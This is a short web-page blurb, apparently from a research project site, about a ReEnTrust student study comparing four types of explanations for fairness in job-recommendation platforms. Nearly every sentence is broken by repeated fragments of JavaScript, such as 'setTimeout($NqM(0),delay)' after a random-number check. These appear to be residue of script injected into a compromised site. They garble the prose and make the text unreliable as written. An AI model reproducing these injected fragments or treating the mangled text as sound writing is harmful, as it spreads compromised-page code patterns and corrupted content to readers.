A ReEnTrust student is conducting a research study about how explanations can help improve fairness and transparency in job sourcing platforms from the viewpoint of the applicant.
For the past couple of decades, there has been a lot of discussion about trying dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to find the balance between transparency and accuracy in recommender systems. Due dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the significance of e-recruitment systems, some papers suggest we need dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sacrifice accuracy dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ensure full understanding of how the algorithm produces recommendations. The belief is that this will enable job seekers and system designers dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to more easily recognise unfair results.
Therefore this student project aims dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to compare four different types of explanations, dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to find out whether they achieve the desired goal of allowing job seekers dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to identify and contest biases, and what type of explanation is most effective in this aim.
So far the project has received responses from 100 survey participants and 5 interview participants, with some exciting new findings. Please look out for this space for further updates!